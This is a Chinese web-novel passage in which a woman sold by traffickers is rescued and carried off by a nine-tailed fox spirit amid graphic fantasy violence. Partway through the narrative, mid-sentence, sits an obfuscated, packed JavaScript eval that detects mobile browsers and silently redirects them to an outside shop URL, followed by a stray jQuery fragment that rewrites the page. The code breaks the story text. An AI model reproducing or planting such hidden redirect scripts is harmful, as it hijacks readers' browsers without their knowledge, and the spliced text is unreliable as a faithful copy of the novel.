键盘上噼里啪啦一通操作,地点在那个糟糕的小镇,无论是李家三口,还是人侩团伙或者衙门狗官,杀得应有尽有,两眼通红。 一把利剑洗平了冤屈,当日猩红的全月高挂,照得街角惶惶,百姓又闭门不出,意外睡得安稳。 杨千里好像也来到了地图,看着手中霞光宝剑,把镇上粉饰的太平撕碎,血洗完害她之人,又感悟无尚武力才能护她,仅手上这一柄。 而后,一个白衣胜雪的男子从南边降下,血月腥光可以洒在镇上任何一处,沾染邪性,但就是被他身上那抹月蓝隔离。 他的脸很模糊,气质雅致、衣摆蹁跹地腾空而立,睥睨着她,说:“干预自然生死,你已罪孽深重,莫要再迫害凡人,同我回去一趟吧。” 杨千里抬头望去,眼前男子虽说背靠红月气场不凡,但说到底,站得再高,在现在的她眼里,远瞧也只是蝼蚁。 这个梦的爽点止步于此。 等她醒来,车轮轱辘,颠簸得她屁股疼。 已经不知道日夜颠倒在第几天了,完全没了时间概念,早知道就拿这废物骨簪在旁边刻“正”字了。 成年人的崩溃就在一瞬,梦太虚假,身上的衣服连着好几天没换,闷出黏腻的汗和恶臭到发吐的味道,勾得她想回家。 她眼泪就跟着滚下来了。 起初还正常,可没一会儿鼻血就淌了出来,温热而痒,掉在了她的裤腿上,猝不及防地断了她掉眼泪的心思。 明明都没怎么吃,葵水都推迟了,鼻血还能跟上? 她呆傻片刻,抽泣有些用力,身旁人突然出声:“你哭什么?” 杨千里一直以为旁人睡死了都,这下太丢丑,赶紧仰头停止:“我没哭,只是有点难受。” “那就别哭,吵。” “你…?!”她被呛到。 “一切生死有命,富贵在天,省点气力,顺其自然。”语气是那么澄净端庄,仿佛看淡了一切。 是那个启林城画师,只不过她就算说话,也没睁开眼。 正气头上的杨千里觉得此人真是奇葩,明明要被卖了,只要之前家境是殷实的,都知道成贱籍是怎么样的猪狗不如。 “什么生死有命?”她愤愤,本来没这么莫名其妙穿越,她出租屋过得普通是普通了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846952|211756||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 不至于这么受罪,还脏兮兮,她以前再懒都能三四天洗一回。 做了那个梦之后,更是杀心成焚,“他大爷的,等我下车了拿到刀了见到当官的就杀,我管他什么命。” 杨千里的口无遮拦让旁边女人沉默,半天才吐出来一句:“你好吵啊。” 杨千里吸了口气,鼻血已经结痂在脸上,说:“抱歉,好久都没吃饱饭了,情绪有些激动。” 女人闭着眼:“这都吃不饱?” 杨千里没什么力气,这会儿也闭上了嘴,这画师娘子好像脑子有问题。 很快,这个车就骤然停了下来,后面的牙侩们在争执,像是想前面的车轱辘给滚坏了,正赶着抢修。 “这都快要到驿站了,突然就坏了,真晦气。” 杨千里饿得没力气,断断续续的听着。驿站,也就是他们要靠停? “荒山野岭的,留这么久,别什么流氓地痞跑出来。” “那倒不会啊,这可是官道啊,亮堂得很呢,咱们不走,别人走镖的也要走啊。而且我们吴老爷的单子,谁敢拦呢?” “那倒也是,这一车的好货。” 几个男人又讲上花街柳巷,越说越上头,开始议论起这车里哪个女子长得最好看。 最前面头车的吴惧了过来,见人扎堆,高帽都没摘,就训斥:“你们都安生点!这是老爷要进贡给城里的货!” “老大,虽说敬奉给老爷,可咱们先尝尝鲜,谁又知道呢?” “尝鲜,什么尝鲜?” “车里那个最漂亮的,不是那个启明城的画师吗?” 吴惧乜斜一眼,尖锐地说:“想都别想,人飘香院老鸨早就定好咯。” 很快,闷篷车又发动了,杨千里在车内听着,心慌地很,她们这车是送到风月场合的? 要是被卖作妓女,短命都算得好,脏病痛苦缠一辈子,可怎么办? 她手上的骨簪又磨了起来。 车轱辘运作,明显道路更加偏僻不平,车内女人都像是颠锅里的食材,被翻来覆去,让捏簪子的杨千里没稳住身形,朝那画师娘子身上倾了过去,头垂在了她的肩膀上。 连着被颠簸了好几回,都是在她好不容易坐稳了身形,那车轮又滚上些坑洼,她只得往人家身上摔了。 那女人被她挤着,都一声不吭,更神奇的是,杨千里从她身上还嗅到了淡淡异香。 身有异香确为美人标配,可这么多天,不换衣物吃喝拉撒同厢,怎么就她没被染臭? 杨千里觉得靠这么近,有些不好意思,又摆正了坐姿:“抱歉,我不是故意的。” 女子闭着眼,没作搭理,也没怒气。 杨千里想着刚刚那些士兵的话,他们会停在驿站边上,若是有人去休息了,就少点人了,月黑风高的岂不是方便逃跑? 不过她一个人跑,没人搭把手也不利,其她女子看着要死不活,估计也饿得跑不动,但身边这个画师娘子的身板挺适合当同伙。 她靠近些问:“你就是启林城的画师娘子?” 女人依旧没打理。 “我之前,其实在镇子上听过你,他们都说你是狐妖,可世界上哪里有妖怪啊。” 女人还是没说话,杨千里的近乎像在自言自语。 “我那时候就知道你是被冤枉的,因为我也是。我莫名奇妙地来了这里,什么都没做,帽子就层层叠叠。他们一边骂我是凶手,是妖狐,一边把我发卖了。” 心底话越说,杨千里也愈发难受。 女人意外开口:“你确实不是妖,我也确实会些丹青。” “你不觉得可惜吗?” “何处可惜?”女人听完杨千里的话,依旧铁石心肠地说,“但是你好吵,打扰到我休整了。” 杨千里热脸贴冷屁股,也就没再话照了,专心致志地拿骨簪划起绳子。 车上女子为了好管理,不让频繁如厕积臭,干粮和水都只是吊着命的份,有的女子饿得直接昏死。 杨千里饿得前胸贴后背,也还是继续折腾着腕口的磨掉大半的粗麻绳,太粗太硬,她觉得可以放液体里软化,譬如下次被喂水,她可以藏在口中再吐出来。 今日的灾祸也不少,只听前面骏马停步仰天嘶鸣,凄厉无比,整个车队都被迫叫停,这边车厢好些人都凑过去瞧。 吴惧看着马匹停不下哀嚎,扑腾着血流不止的前蹄,试图挣脱缰绳的样子,脸色一黑:“这官道上哪来的铁钉?” 11. 异火 “头儿,莫不是山贼放在这儿的?” 那马已经逐渐失控,上去的人去一个踹飞一个。 估计马也活不了多久了,吴惧当即抽出了刀,对着身边其他的人说:“把它蹄子给我剁了。” 其他人才团簇上前,将马给砍死。 吴惧又把刀收了回去,今日算是见到了一次血光,总感觉是不好的预兆。 一旁来人凑在他身边,拱着手说:“大哥,没了这匹马咱进度可怎么办啊?” “还能怎么办?” “怡红院那个大单,限我们十五天之内。这剩下三天,这匹马算是废了,车上面人拉下来走,肯定赶不到时间呀。” 吴惧佝偻着腰沉默着,这钉子说巧也不巧,就恰恰像是命中注定一样,被这匹马,还是头马给踩中了。 他铁青着脸,只管下命令说:“直接走,不能久留,这荒山野岭的,万一真有什么土匪埋伏。” 大单没了,周围人面面相觑。 少了一匹马,这帮人牙子也只能走路,钱还要变少,难免积怨。 杨千里在车内偷听着,这些人的计划要延迟,不免有些窃喜。 她手上来回切磨的骨簪也更加卖力,绳子已经切了三分之二的口子,只待那个驿站去。 还没走到驿站,押送的人里面就有按捺不住的,言说着要泄火,互相推搡着:“大差都没了,我们还看得这么紧干嘛?老牟,不如拿出来几个享乐?” “吴惧还在前头呢,他那仗势欺人的狗样子,要是事后找我们算账可怎么办?” “你不说,我不说,又有谁知道呢?咱们兄弟几个偷偷来就行了。” “要是那些娘们叫出来可怎么办?” “怕什么,挑一个糟蹋呗,剩下的不动,她们连吃饭的气力都没有能叫什么啊?就算他怀疑,我们都是兄弟伙人这么多,他能怎么样?”满脸胡茬,吊三角眼的臭汉揽着那个胆小的说着。 “我听说车上还有狐妖呢,启林城那个,王公贵族都说好呢。” 一旁那些男人听得可真是蠢蠢欲动,光天化日都吞着唾沫星子。 荒郊野岭,他们肆无忌惮,就没把女人当人,一个个谈论起妖怪,感受到的不是后怕,只有话本子里描写的荒□□望。 比起那些被说成妖怪的人,杨千里觉得这些人面兽心、猪狗不如的玩意,比妖怪可怕得多。 车外还有怂恿:“启林城狐妖会吃人啊,别让她给哥几个玩坏了。” “怕什么让我去。”壮如头牛的胡茬男拍拍胸脯,唾沫都笑飞了出来。 杨千里虽对画师娘子先前嚣张的气焰有些抵触,这会儿不免同仇敌忾起来,急着用骨簪磨着绳子,凑到女人耳边,轻声说:“若是他们要冲你来,你若是不愿,我这里有簪子,我马上给你,你就藏到袖子里面。” “急什么?”女人依旧没睁眼。 这会儿,押送的人就嬉笑着打开了车门。 带头的是个络腮胡乱长的大汉,他两眼凶光地打量起车上的女子,杨千里连带着其他女子像货品一样,被盯得恶寒。 其他人嬉皮笑脸,那猥琐凶相的就直接跳上了车,其他女子畏畏缩缩在旁,靠得紧紧的深怕被挑上。 他矮身上前来,目的明确地奔向了启林城的画师娘子,佝偻的短肢被衬得更猥琐,一股浓烈的恶臭孜然味席卷而来。 杨千里越看越生气,手上的骨簪磨得越来越快。 她并非想逞什么英雄救美,只是纯粹看不惯这种场面。 男人笑得猥琐,在那画师娘子面前问:“你知道哥哥我是谁吗?” 启林城的画师娘子没有作答,甚至懒得睁眼。 男人不怒反笑,非但没有收敛,反而将手掌伸向她天鹅般的长颈处,动手去拽女人的衣领。 “少给我装什么清高!” 眼见着女子要被凌辱,杨千里心跳如麻,这绳子也直接掰了起来。 只是敌众我寡,这样实在是太冒险。 那衣服被扯到臂膀间,画师女子倒是睁开了眼。 那是一双世间少有的明眸,配合着素净的脸庞,明明是狐狸般地轻佻,倒显得清纯秀丽,目送秋波。 她许久没睁眼,眸子还宛若梦中的迷惘,似笑非笑,一份无辜劲叫人沉沦其间。 杨千里痴呆了几秒,惊叹世间竟有如此倾国倾城之色。 画师娘子刚巧启齿,不是求饶的挑拨,只说给自己:“本来以为能搭个顺风车的。” 那大汉鬼迷心窍地想着要是有了这女人,荣华富贵,什么城池官位哪样没有? 下一秒,那大汉就连人带头,全身上下血肉都被熊熊燃起的阴火烧为了齑粉,骨灰被女人吹散开。 狐妖不屑于吃这些。 杨千里瞪大双眼,那大汉面部立刻干瘪了进去,这火定然是妖术,男人只剩下一层焦得发黑的皮骨,外面的衣物倒是完好。 她鼻子里还能闻到焦香。 她吓得腿软,这女人居然真是狐妖?这个世道真的有妖怪?! 砰一声,那具带衣壳子的干尸就砸在了车内,其他女子连连尖叫,挤到那女子半米开外,在旁缩着报团生怕女人吃了自己。 外面人一听这么激烈,也都兴奋地撩开黑帘子,嚷嚷道:“老牟你咋这么没规矩的,瞧把几个娘们吓得。” 几人见着启林城娘子舌头舔了下嘴皮,兽性更发,旁边有幸灾乐祸的人跳上车板,调侃:“这老刘啊,连这都把持不住,还晕了。” 他打算把大汉叫醒,可刚翻个面就见着可怖的尸体,当即咿咿呀呀,嗓子比女子还尖细:“死,死人了!” 还没来得及跑,那狐妖只吹了一口气过去,那人侩一下子烧为了枯骨。 外面的人也纷纷被吓着,转身跑得狼狈,也不叫嚣了。 混乱越来越大,那画师娘子长出了狐狸的脑袋,全身都变成狐狸的样子,轻松就摆脱了绳索跳出车外。 狐妖的身形此时也变得巨大无比。 走在最前面带队行车的吴惧一看,哪里还坐得住,大呼:“荒唐!荒唐!是九尾妖狐,天将大乱!” 狐狸巨大无比,九条尾巴灼灼似火,妖异邪性,周围像盖来了一层邪火,炙烤连连,地面立马干裂,十米内寸草不生。 杨千里感叹怪不得自己会流鼻血,原来一直贴着“柴火堆”呢。 人们纷纷围了过来,跟着感叹道:“好邪性的玩意,它会吃了我们的!” “是九尾狐!灾异现世!” 杨千里手上的绳子已经脱掉,腿脚上还有一道勒绳,只能爬到车厢边上,望着凌空而立,九条红尾的狐妖出神,真是里写的那种能变作美人的狐狸精? 之前玩过类似的游戏,这玩意会吃人,杨千里捂住口鼻,它的身形都如此庞大,那这个世界岂不是妖怪横生? 杨千里没有像其他女子一样缩着,赶紧把腿脚上的大麻绳解了,慢慢靠着缝隙看外面,想着趁乱找个机会逃跑。 外面那些视人命如买卖的人牙子,像突然改性了,口里喊着自己会做好事,软了腿跪在地上磕头,一个比一个响,心中本来没有神鬼的,这会也怕得直发怵,嘴里喊着:“千万不要杀我!” 有的眼睛尖的不跪,大难临头拔腿就飞,还有去闷厢车扯奴籍的人出来,自己躲进去的。 可惜那狐妖如不可控力的火云,席卷周遭的生命,接连烧了个干净,周围人哀嚎惨痛连连,这会儿才想起来人命的脆弱可怜。 而它也不是什么来救苦救难的,只要在车厢外都如同炙烤肉饼,宛若炼狱。 九尾狐没怎么说话,对天长啸一下,似婴儿啼哭,魔影灌耳,四方又归于了寂静,地面掉下的火焰天罚才缓缓熄灭,车内大部分被绑的听完就直接昏死了过去。 杨千里见那只狐妖飞远,趁乱想要手脚并用地爬出这个厢子。 她探出头,把一件衣服试探性地扔了下去,发现没事。 可刚抬头,原先以为走远的九尾妖狐就挡在了她前面。 这狐妖身形又变小了些,几只尾巴邪性地缭绕,杨千里只能和它那双纯洁的眸子干瞪,若不是看到它刚刚残暴噬魂的原始举动,或许她会想这狐妖真是什么好东西。 九尾狐久久地打量她,瞳仁越缩越小,几乎看穿她的灵魂,后面又归于平静。 九尾狐:“平时就数你鬼心思最多了,这会儿还想要跑?” 这狐妖似乎没吃够周围的肉,好像要来吃杨千里。 给杨千里吓得手脚僵硬,颤颤地拿出了那只骨簪。 狐妖在看到骨簪的时候有过两秒的迟疑,很快就笑了出来,居然想用这个可笑的防 身。 面前烟雾突然缭绕,它又变换作了刚才女子样。 只不过这回不再是披头散发,发髻由素簪绾在后面,丹红宫廷样式的霓裳和她狐狸皮毛颜色一样,衣服后面九条尾巴不减。 她走了过来,眼底一抹红,看起来狡诈又邪气,问杨千里:“怎么不说话?怕我吃了你?” 她的眼睛如琥珀般勾人心魄,常人只看一眼,就能品味出妖异。 嘴角虽自然地上扬,但没什么亲近感,说不出是喜欢还是利用。 但就是让杨千里看呆了。世界上居然会有如此好看的女子,身段一等,样貌一等。 杨千里在电视剧上见过不少美人演员,很难被真正惊艳,此刻临近死亡才感慨,怪不得说美人能倾国倾城。 如果自己是大王,那也少不得被这样的美人蛊惑,割让城池、烽火戏诸侯。同样的和氏璧换十五城池,也不过如此。 又想到她是食人的妖怪,杨千里就止不住哆嗦。 狐妖明显习惯了旁人的痴傻:“小姑娘,你怕不怕我把你给吃了?” 声音已经不是刚刚那么柔软,带着狐狸特征的腔调,尖利又怪异。 杨千里拿着骨簪,手抖了抖,想着壮如牛的刽子都打不过,自己拿着这磨糙的骨簪去杀狐妖简直是痴心妄想。 狐妖说:“你可知道,你手中物是人骨,还带了业障。你确定要用它来杀我?” 杨千里又被吓到,这簪子是李善送给她的,说是羊骨,李善当时的神情也不像要给她下巫蛊,难道他早就在谋备? “这么宝贝啊,是情郎送的吗?”狐妖凑近了过来,几乎贴在杨千里冒着细汗的脸边。 她吓得手软,就往狐妖脖颈上扎过去,却被尾巴用力捏住了手腕,那骨簪只能掉下来。 “我还以为你多聪明呢。” 狐妖离远了些,朱唇又变成了狐狸的嘴筒子,大大张开,满是尖锐獠牙,看着吓人极了,像是马上就要来吃掉她。 杨千里满心恐惧,以为自己这辈子都完蛋了。 结果那狐妖只是把骨簪吞了进去,咔嚓咔嚓,几下就把骨头嚼碎了。 杨千里蹙紧眉头,到底在玩什么把戏? 面前的狐妖又娇媚地闭上了眼,狐尾变得硕大无比,没等杨千里反应,也没等她同意,那尾巴就卷起了她的腰,一下将她提到了天上,腾云驾雾奔走而去。 车内其他女子也不管究竟发生了什么,只是一味地磨断绳子,然后往车外面跑,趁着这些人贩子还没醒过来。 后来,此地也只剩下了一桩怪谈。有的借着政治,说是九尾妖狐再次现世,警告昏庸无度的统治者,它势必搅乱天下风云,直到明君新立。 有的也说,是山匪洗劫此处,才留下祸难。 ** 杨千里被狐妖的尾巴卷着,起先在天上叫唤几句:“放我下去!放我下去!” 但这里实在是太高了,她很快就怕得叫不出来,不知道狐妖为什么要把她抓起来,也不知道狐妖会不会把她扔下万里长空。 都不是什么好事,后面说不定还会被吃掉,想想都后脊发凉。 狐妖也懒得听她言语,突然飞过来一块绸缎,塞在了她的口里,一如既往的傲慢。 狐妖踩着云层,毫无遮掩,一路经过荆州,又到了西湖,云彩下清隽水乡,清雾里风荷举,只可惜杨千里只能被吊着远远瞧上一眼。 有人坐画舫游乐西湖,有人就快要死了? 没过多久,被这般风吹日晒,还凌空乱晃着,一天未进食,她直接昏死过去。 那九尾红狐直奔着岭南方向走,很快就来到十万大山,周遭环境生猛潮湿,一下就把她从睡梦里浇醒。 睁开眼就是满天的瘴气,停在大片粗叶的林里,熏得她眼睛疼,鼻子这会儿又湿得不通气,还掉起了浓血,已然命悬一线。 这会儿狐妖可算是发了良心,白烟一起,又变作人形,将她扶在了怀里。 狐妖变的人形很高,下巴能轻易地抵着杨千里的颅顶,她手指轻点,解开了封口的术法。 杨千里这会儿面如菜色,满是尘垢,身体软累到完全没折腾的气力,一味搭着狐妖,像条脱水已久的鱼。 狐妖有些诧异,抚摸上她的额头却一点高烧的迹象都没探到,问:“你怎么了?” 12. 十万大山 杨千里鼻血不止,也像生命的流逝,试着轻点上面,看着鲜红的血浆,感叹:“我要死了。” 狐妖表情不变,淡淡地捏住她的手腕,顺着她的指尖,伸舌尝了点血味,就立马知道了源头。 “你死不了,我修有太阴真火,你一介凡人近我,自是有所收敛,起到排病除垢之效,你现在是难耐那股燥意。” 杨千里摇头,她已经好些天没正常吃食,说:“我说我要饿死了。” 她说完又怕死地皱眉,说:“但你别杀我,我不好吃,身上已经没二两肉了。” 面对这种天生神力的妖怪,她说不上来该怎么去逃,只能先想着苟活。 狐妖静静瞧着杨千里,嫣然一笑,该说残忍还是天真:“以往都是凡人来服侍献宝于我,我再杀人,从未养人倒是欠考量了。” 她指间轻点,杨千里鼻子里冒的血就停了,脸上也做了遍去尘。 狐妖眼珠转了转,又提上杨千里腾云驾雾往大山深处飞去了。 ** 十万大山多大妖盘踞,遍地兽骨,尤其是深处乃上古凶兽活动的禁地,寻常小妖不敢靠近,凶兽也互不干扰,就算白天,只要瘴气漫起,自觉阴寒刺骨, 不巧,一人一狐就踏进此处,一下就被凶兽闻着了味,成群结队起来。 它们多是远古大荒苟命下来,早就踪迹不现,被正神封印此地,只会茹毛饮血的蛮凶。 藏在暗处,它们各方瞧着五步阴火、过于招摇的家伙,不免疑惑:“从未见过这号妖物。” “是狐妖。” “狐妖不该缩在青丘吗?这么正大光明地走百妖道?” “它手上提着人,是活生生的人!”鼻子尖的嗅了出来。 “老夫好久都没吃食过人肉了,那一口可真是终生难忘。”有的酸臭的唾液止不住流下。 旁有怂恿:“既然这狐妖这么不讲规矩,我们都吃了又如何?” “那开明兄你上吧。” 狐妖正搀着杨千里慢缓缓地腾云驾雾。 一旁长着六个婴头、老虎身子的妖怪飞了过来,毛发竖立如钢筋,六个脑袋同时开口,音色如鬼哭:“大胆狐族,竟敢带着人族大步闯我十万大山禁地!” 开明兽神色灼灼,像打量两块肉道:“把这人族放下献给本尊,本尊就饶你一命!” 它纯粹想打打牙祭了,它想来,平日里青丘一族抱团盘踞,又靠着几个九尾老魔撑腰才敢如此嚣张,把它们最好的一块地盘给占了。 可真得让那些狐狸见点血,才知道谁为妖主。 杨千里抱着狐妖的手又缩紧了些,她怕狐妖把自己推出去送死。 狐妖没有说话,这在开明兽眼里可谓挑衅,它毫无耐性,冲着一人一狐大吼,吓得方圆几十里远的小妖们都纷纷逃窜:“大胆狐妖竟敢对本尊如此不敬!” 那开明兽的几个脑袋带着脖子伸得很长,长如巨蟒,四面八方地冲她们过来。 彼时几个婴儿头颅长开了染血的獠牙,就算九尾狐真亲临此地,挨上它惯用的招式,也会被咬得遍体鳞伤,更别说它还带着累赘了。 其它躲于暗处的妖怪乐得看戏,也伺机而动。 杨千里快吓吐了,只会搂紧狐妖,和美好的世界闭眼告别。 未曾想,那个狐狸袖口一挥,四周就泛起一道红光,任它铁骨钢牙直接被脱了个干净。 它两颗脑袋又反应不及,被狐尾一甩,锐如削面地劈砍了下来。 红狐九尾一出,这下哪个妖怪都吓得掉了下巴。 “都出来。”狐妖淡淡地说。 几个躲在暗处的丑怪也不敢不从,纷纷露了头,什么九婴狮王,凶神怒鸟之类都不想争王做主,纷纷磕头认罪,唯恐慢了下来。 “敢拦我路的,你们知道该怎么做。” 那开明兽一听,两眼发白直接开逃,使尽了毕生所学。 可凶兽们本就没昔日情分了,这开明兽又重伤在即,把它吃了也能法力大增,纷纷一拥而上争抢,不多时开明兽就被分食干净,只余几道掠走的流光。 在杨千里目瞪口呆中,那开明兽被分食扯了好些大块,残肠露骨,生猛野蛮,尤其是想着那开明兽的兽头如人婴。 她只叹自己还好没吃什么,不然腹部都要翻江倒海绞起来。 狐妖又像想起什么,有些戏谑地问杨千里:“你不是饿了?也要吃吗?” 几个大妖听着,立马停住了进食,有的护食,有的就想着贡献过来。 杨千里一闻到腥气冲天的东西,立马干呕连连:“不要不要,我需要人能吃的。” 大妖们着实不爽,这人类竟然敢嫌弃此等好肉! 见她消停,狐妖不免嘻笑,然后挥挥手,那些大妖又狼吞虎咽,那开明兽的尸首就化为了一片白骨,同于周遭。 狐妖带着杨千里来到一处客栈前,客栈开得偏僻,只因远离了那些凶兽的活动范围,来往的人也不少。 只不过这里的客人,都是些面兽身或者兽身人面的妖怪,鲜少能够化出完全人形体的大妖。 他们来来往往,可瞅见杨千里和旁边的狐妖,就转不动眼睛了。 一是震惊于狐妖的美貌,四处打量;二是他们轻轻一嗅,就发现杨千里是一块“肉”——送到嘴边的凡人。 十万大山多封压着当年蛮荒时期弑杀成性、又不愿听命天庭的妖物,它们的后代也好不到哪儿去。 若是有凡人来十万大山,吞吃入腹是基操,更别说外面的瘴气,都能毒得人七窍出血而死,寻常妖怪都逃不出去,居然会有人进来,还是被一个狐妖带着进来的? 有的妖不免有些蠢蠢欲动,瞧着这细皮嫩肉的人族,但狐妖表情自如,又全化作人形的样子,估摸着是法力深厚莫测,都不敢急着上前。 妖怪对自己虎视眈眈,看着那双双凝着凶光的眼睛,杨千里不免怕得发憷。 难道这个狐妖带自己来这个客栈,是要把自己当高级食材吗?还不如让她一头撞死了。 “狐妖大姐,我们两个这是去干什么啊?” 狐妖又没搭理她。 杨千里这会儿饿得说不出话,只能被狐妖架着,走进了客栈。 客栈的老板长着乌龟脑袋,一见杨千里先是吃惊,然后敌意极重地问:“人族怎会在此?” 他刚想张开血盆大口,将杨千里吞吃进去,狐妖的袖子一扬,就被扇飞半米开外,压倒了好些个酒桌。 周围妖怪不免愤怒。 很明显,狐妖没有使出全力,警告意味地看着掌柜:“这是我的人,不要乱动。给我们开一间房。” 狐妖的眸子里印出莲花火印,那乌龟掌柜薅着脑袋上的龟毛清醒了过来,连连磕头:“小的有眼不识泰山!” 它连忙传唤着旁边的店小二,说:“快去快去快去!一间天妖字房!” 周围投来的目光又缩了回去,明显是惹不起,这狐妖竟然是个大来头? 狐妖又问:“你们平日里都吃什么?” 谈到生意,乌龟掌柜立马忘了刚刚的狼狈,自豪地拍拍胸脯,说:“尊者,那你可问对了,小店提供的都是上等兽肉,饮的上等生血,不过赶不上尊者您吃的人肉。” 桌旁就是茹毛饮血的场景,什么肉类都有,但就是不开火,那些妖就好这口原汁原味。 杨千里一听自己也可能被做成刺身,更加哆嗦了。 狐妖打量了杨千里一眼,忆起之前见闻,又说:“兽肉烧火做熟了端过来,肉里加盐。再给我来送一壶玉冰烧。” 原来还没想吃她,能活一会儿是一会儿吧。 “得嘞。”店小二领着两人开路,来到二楼厢房,介绍着周围:“您有事尽管吩咐。” 这猴妖又盯上杨千里,上下扫视着,客套地问:“尊者,这人奴有些脏臭了,不符合您的风雅,要不我给她安排个下等房?” 杨千里听完多是不爽,可她确实十多天没洗澡了。 “她自然是服侍我,一同起居。” 狐妖又看向杨千里,问:“你还有什么想要的?” 杨千里也不知狐妖心里所想,毕竟是妖怪,但既然她问了,自己身上又实在是难受,她说:“我要一桶热水净身,还有干净衣裳。” 猴妖眼睛转了转,愤怒地想着这人族的蝼蚁真 是目中无人,异想天开,尊主给个台阶,她还真把自己当回事,当死无全尸! 狐妖淡淡地说:“好,你切看着办。” 猴妖听完如雷击,转过弯来还是拱手后退。 ** 杨千里被放在床上,热水一来,狐妖指间一点,妖法就把人托进了桶里。 杨千里有气无力地脱了衣服,用着皂荚搓洗起来,颠簸了这么久,好久都没有这么安静了。 她把破衣裳挂在了屏风上面,真是感慨,这破衣裳按道理说是她的婚服。 李家守孝不让大红大艳,所以婚服素蓝,她干脆直接拿来穿作日常了,没想到还是破了。 她竟然在这世界颠簸了大半年,变了状况,突然遇上狐妖,奴籍命倒是脱了,也不知这妖怪打的什么主意。 要是吃她的话,早就该把她给吃了呀,还让自己沐浴,难道它有洁癖? 她不停擦洗,总算舒服多了。 不过这妖怪待的地方,她倒是觉得有几分眼熟,像她之前玩的沙盒游戏的劣质贴图。 只是朝代对不上,她当时玩修仙的时候周边人烟稀少,明显参考的先秦,而这会儿变作了唐宋。 没一会儿,狐妖就进到屏风里面,手上端着盘子,里面是肉。 肉味闻起来很腥重,没有别的那种调料,被烤得焦边冒油。 狐妖身段一等,不仔细看那盘子里的肉,瞧她美丽的颜色,还以为手上是什么珍馐。 杨千里赤身裸体地,连忙环抱自己,一脸警惕问:“你进来干嘛?” 狐狸本来是缓步走,可看着她一脸羞赧的样子,刷地一下移步到她的面前,撑着木桶,问:“你不是需要食物吗?我瞧你骨头软,亲自来喂给你。” 这一盘肉卖相难看,明显那些妖怪也没想到狐妖提这种要求,又没什么厨艺,照猫画虎地剃了一块大肉来生烤。 可那是肉啊,杨千里起码几个月没吃上这口荤腥了,在她眼里就像是珍馐宝贝,她也顾不得什么礼节,问:“真的给我?” 那狐妖又收回手,放在了一边柜台,说:“不急。” 然后就当着杨千里的面,变出锋锐反光的长剑。 杨千里往后靠着,急道:“你要干什么!” 狐妖没拿她怎么样,只是将掌心紧握了上去,刀锋锐利,她掌心一拉,很快就渗出血液。 她给自己切出血了,还拉着恐惧无比、不停在桶里扑腾的女子,流血的掌心贴在女子额头。 那一刻与女子神识命脉相一,她细检一番,说:“你竟真是个凡人?” 她没料到这下,又疯疯癫癫地感叹:“不错不错,我怎么没想到凡人也是极好的。” 狐妖的血液实在如烈火,杨千里只觉得额头滚烫,不知她发什么疯病。 狐妖把东西又放了下来,情绪阴晴不定,旋即又无辜乐天地用筷子夹着瘦肉,投喂到杨千里嘴边。 虽然狐妖是个神经病,但杨千里实在是太饿了,一口一口地张嘴接着。 而狐妖多是兴起,不是真来伺候她杨千里,手速也愈发快,喂一口塞一口,塞到她嘴里,都来不及咬,只能吞进去了。 可杨千里两边腮帮鼓着,真吞了下去,又呛得咳嗽。 填满了肚皮,说实在话,这个肉又柴又老,咬嚼不动又一点都不好吃,腥血味难遮盖,这盐也分布不均,有的无味,有的太咸。 难吃也得吃。 只是才吃完半盘,没想到给胃撑着了,挤压其他的器官,疼得她胸下痉挛。 狐妖还笑眯眯地夹着喂,颇有解压的愉快,但杨千里直晃头,面色痛苦。 狐妖停下了动作,歪着脑袋,有些诧异,问:“凡人,你又怎么了?” “胃,疼。”杨千里无助地捂着肚子,好像许久没进食,肠胃一下子没适应,撑得疼。 就算来了妖界,她也只是个脾胃不好的凡人,她需要消食健胃片。 狐妖也伸手捂着她的胃,学着她说话:“胃,疼。” 狐妖多是新奇,笑起来有世间最好的一口整牙,弓如半月,白如鲛珠。 但是这傻帽狐狸居然笑她。 13. 青丘 估计是畜生性上来了,想模仿人,她忍。 狐妖像是玩够了,使着法力把她从水桶里捞了出来,吓得她连忙捂住自己,忍不住叫:“流氓啊你。” 虽然都是女的,但她没有坦诚相见的癖好。 狐妖给杨千里变了间衣裳,比杨千里的尺寸大上好多,套在了她的身上,不免有些浮肿。 那法术一收,她又飘到了狐妖的怀里,狐妖问:“当真难受?” 这倒是她活二十几年来第一次被人公主抱,虽然是被个女人抱着。 她被抱着,尴尬是一回事,疼也是,胃部的积食压得她胸口闷:“嗯。” “凡人原来不好养啊。”狐狸得了个莫名的结论。 还没来得及让杨千里休整,又折腾着,给她抱了出去。 吓得杨千里赶紧抓着狐妖的衣衫,不自觉贴近。 客栈里的妖物就这么目瞪口呆地看着一道火苗印记的赤光闪过,楼下的猴小二拍大腿,道:“这么快就走了?还没给兽骨呢。” 一旁的乌龟掌柜继续打着算盘:“不用追究,是青丘的那位尊者。” “哪位?” “大名鼎鼎的心宿天王星君,心月狐。” ** 这冷风一吹啊,真的是加剧了胃疼。 杨千里前二十几年,肚子可没这么痛过,她这会儿也感受到自己老了。 不一会儿,她就被放了下来,旁有一条波光粼粼的河。 比起其他地段的乌烟瘴气、满地枯骨,她们明显更像是进入了一个被结界包围,有流水美山,宛如世外桃源的地方。 但杨千里的眼睛里面只有这条河了,胃里翻江倒海,那些没来得及消化的兽肉都快涌到她嗓子眼了。 她快步来到了那条河边,蹲坐下去,大口大口用手舀水,往自己的嘴巴里面送。 她原是想着自己是不是太干了,所以肚子才那么疼,于是连着灌了好几口水。 心月狐就在她的旁边。很是疑惑地看着。 杨千里抬头瞧她一眼,将近日落,落日余光倒是把狐妖照得柔美又出尘,但杨千里胃又翻涌泛酸,对着河里就开始干呕起来。 虽吐不出什么,但总比挤压小腹来得强。 狐妖倒是不满起来:“我有这么丑,竟叫你吐了出来?” 杨千里:? 她擦了擦嘴:“你看不出来我这是难受吗?” “哪里难受?”心月狐付之一笑,两眼弯弯,没等杨千里开口就自顾自说:“冷月边关,山村老巷,我都去过,可就是没见过你这么难养的人,若是真难受,也得给我忍忍。” 